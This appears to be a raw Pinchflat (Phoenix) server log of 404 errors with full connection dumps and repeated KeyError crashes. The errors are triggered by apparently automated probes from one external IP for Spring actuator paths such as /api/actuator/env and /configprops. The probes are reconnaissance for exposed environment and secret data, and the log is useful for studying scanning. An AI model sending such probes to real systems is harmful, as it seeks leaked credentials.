cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21552.0>, params: %{}, path_info: ["api", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgXjnb48UtwsACMeh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21551.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36844}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21551.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36844}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21552.0>, params: %{}, path_info: ["api", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-cont (truncated) 15:40:34.739 [info] GET /admin/actuator/env 15:40:34.740 [debug] QUERY OK source="settings" db=0.1ms idle=405.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:34.740 [debug] QUERY OK source="settings" db=0.0ms idle=287.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:34.740 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:34.740 [error] #PID<0.21554.0> running PinchflatWeb.Endpoint (connection #PID<0.21553.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /admin/actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21553.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36852}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21554.0>, params: %{}, path_info: ["admin", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/admin/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgYNCr2-qs18ACMfB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21553.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36852}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21553.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36852}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21554.0>, params: %{}, path_info: ["admin", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/admin/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ (truncated) 15:40:34.889 [info] GET /v1/actuator/env 15:40:34.890 [debug] QUERY OK source="settings" db=0.1ms idle=437.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:34.890 [debug] QUERY OK source="settings" db=0.0ms idle=323.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:34.890 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:34.890 [error] #PID<0.21556.0> running PinchflatWeb.Endpoint (connection #PID<0.21555.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /v1/actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v1/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21555.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36856}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21556.0>, params: %{}, path_info: ["v1", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/v1/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgYw2wmMqYeoABcGi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21555.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36856}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v1/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21555.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36856}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21556.0>, params: %{}, path_info: ["v1", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/v1/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max (truncated) 15:40:35.062 [info] GET /v2/actuator/env 15:40:35.063 [debug] QUERY OK source="settings" db=0.0ms idle=322.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.063 [debug] QUERY OK source="settings" db=0.0ms idle=322.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.063 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:35.063 [error] #PID<0.21558.0> running PinchflatWeb.Endpoint (connection #PID<0.21557.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /v2/actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v2/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21557.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v2/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36872}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21558.0>, params: %{}, path_info: ["v2", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/v2/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgZaFX7G76z8ABcHC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21557.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v2/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36872}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v2/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21557.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v2/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36872}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21558.0>, params: %{}, path_info: ["v2", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/v2/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max (truncated) 15:40:35.266 [info] GET /configprops 15:40:35.267 [debug] QUERY OK source="settings" db=0.1ms idle=376.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.267 [debug] QUERY OK source="settings" db=0.0ms idle=376.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.267 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:35.267 [error] #PID<0.21560.0> running PinchflatWeb.Endpoint (connection #PID<0.21559.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /configprops ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21559.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36884}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21560.0>, params: %{}, path_info: ["configprops"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => 